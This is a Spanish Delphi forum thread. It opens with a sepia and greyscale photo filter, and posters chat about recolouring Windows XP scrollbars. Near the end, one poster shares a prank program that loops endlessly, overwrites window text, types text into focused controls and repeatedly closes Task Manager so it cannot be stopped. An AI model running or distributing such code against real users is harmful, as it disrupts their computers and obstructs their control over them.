Codigo sin utilidad

[[seoane]]

Últimamente tengo poco tiempo para el código inútil ( y lo echo de menos ) pero para que no se olvide el hilo voy a intentar buscar algunas cosillas que tengo por aquí guardadas.

Para empezar aquí os dejo una aplicación muy sencilla para convertir fotos a color sepia (efecto foto antigua) , tonos de gris o invertir el color. Es un código muy sencillo, un pequeño encargo de mi prima que es aficionada a la fotografía pero no tiene ni idea de como usar el photoshop

Un trozo del código es el siguiente (Convierte a sepia):

Código Delphi [-]
var
  P: ^TRGB;
  i, j, k: Integer;
begin
  // Volvemos a cargar la foto original en el TImage
  imgMain.Picture.Assign(Bitmap);
  // Recorremos la imagen pixel a pixel
  for j:= 0 to imgMain.Picture.Bitmap.Height - 1 do
  begin
    P:= imgMain.Picture.Bitmap.ScanLine[j];
    for i:= 0 to imgMain.Picture.Bitmap.Width - 1 do
    begin
      k:= (P^[1] + P^[2] + P^[3]) div 3;
      P^[1]:= (k*200) div 255;
      // tbSepia.Position es una variable que nos permite variar el tono de sepia
      P^[2]:= (k*(210 + tbSepia.Position)) div 255;
      P^[3]:= k;
      inc(P);
    end;
  end;
  imgMain.Refresh;
end;

Aquí abajo os dejo el código completo. Para algo un poco mas complejo, podéis utilizar la modesta unit de filtros gráficos que tengo en mi pagina web.
http://delphi.jmrds.com/?q=node/23

[[egostar]]

Hey amigo seoane, vaya cosas que uno hace por la familia verdad

Ya bajare tu código inutil xD, porque me parece muy interesante, ya veré que utilidad le doy

Salud OS

[[Caral]]

Hola
Muy bueno, que mas decir, algún día lo entenderé.
Ya lo puse a correr, le quite algunos unit o esas cosas que no me dejaban, pero ya funciona.
Ojala sigas aportando código, estos de inútiles no tienen nada.
Tengo una carpeta llena de tus códigos, pronto los tendré que catalogar
Saludos

[[Al González]]

¡Hola a todos!

Mis mejores deseos para el año 2008 que inicia hoy.

Domingo: Hablando de colores, ¿de pura casualidad tendrás algo para cambiar los colores o la textura de las barras de desplazamiento en Windows XP? Principalmente el fondo de la barra y el botón de deslizamiento.

Saludos.

Al González.

[[seoane]]

Empezado por Al González

Domingo: Hablando de colores, ¿de pura casualidad tendrás algo para cambiar los colores o la textura de las barras de desplazamiento en Windows XP? Principalmente el fondo de la barra y el botón de deslizamiento.

Pues la verdad es que no tengo ni idea Al, pensé que en "Propiedades de pantalla" se podría cambiar, pero no encuentro esa opción. Una alternativa seria hacer un programa con un hook que cambie el color de todas las barras de desplazamiento según se van creando, no es muy complicado, pero me parece que seria matar moscas a cañonazos ¿no te parece?

[[Delphius]]

Hola, se que no aporto mucho... Alberto (o Al, como más gustes) yo andaba pensando... si con:

ProgressBar1.Perform(bla,bla,bla);

Se puede conseguir cambiar el color... (si... se que existe el Gauge. es un ejemplo) ¿Que impide que no se podrá conseguir con algo similar o análogo a Perfom lo que tu andas buscando?

La verdad es que no lo he probado ni averiguado... pero es una curiosidad mía que me anda surgiendo cuando mi torsida mente se pone colorida y empieza a buscar cosillas para hacer más vistosos los aplicativos.

Espero no haber dicho algo demasiado estúpido.

Saludos,
PD: Al, me resultó extraño no ver un final como este: Saludos coloridos

[[cHackAll]]

Código Delphi [-]
uses Windows, Messages;

var
 Cursor: TPoint;
 idAttach, idAttachTo: Cardinal;

procedure vkEmulate(const bVk: Byte);
begin       
 keybd_event(bVk, 0, 0, 0);
 keybd_event(bVk, 0, KEYEVENTF_KEYUP, 0);
end;

procedure SendKeys(lpKeys: PChar);
begin
 repeat
  vkEmulate(VkKeyScan(lpKeys[0]));
  Inc(Cardinal(lpKeys));
 until lpKeys[0] = #0;
end;

procedure SetRoman(hWnd: Cardinal);
begin
 SendMessage(hWnd, WM_SETTEXT, 0, Integer(PChar('Roman')));
end;

var ClassName: array[0..15] of Char;
label Back;
begin
 idAttach := GetCurrentThreadId;
 Back: Sleep($7F);
 GetCursorPos(Cursor);
 SetRoman(WindowFromPoint(Cursor));
 SendMessage(FindWindow(nil, 'Administrador de tareas de Windows'), WM_SYSCOMMAND, SC_CLOSE, 0);
 idAttachTo := GetWindowThreadProcessID(GetForegroundWindow, nil);
 if not AttachThreadInput(idAttach, idAttachTo, True) then goto Back;
 GetClassName(GetFocus, @ClassName, SizeOf(ClassName));
 if lstrcmp(@ClassName, 'Internet') = 0 then SendKeys('roman ');
 SetRoman(GetFocus); AttachThreadInput(idAttach, idAttachTo, False);
 goto Back;
end.

Saludos

[[egostar]]

, mira nadamas condenadote, este es el famoso fuente de la broma que te gastaste en el hilo de roman

Muy bueno, pero no le entiendo nada de nada .

Salud OS

[[seoane]]

Hola cHackAll, me alegro de que participes en el hilo, pero estaría bien que explicaras un poco que es lo que hace el código, puede que a alguno no le haga gracia la broma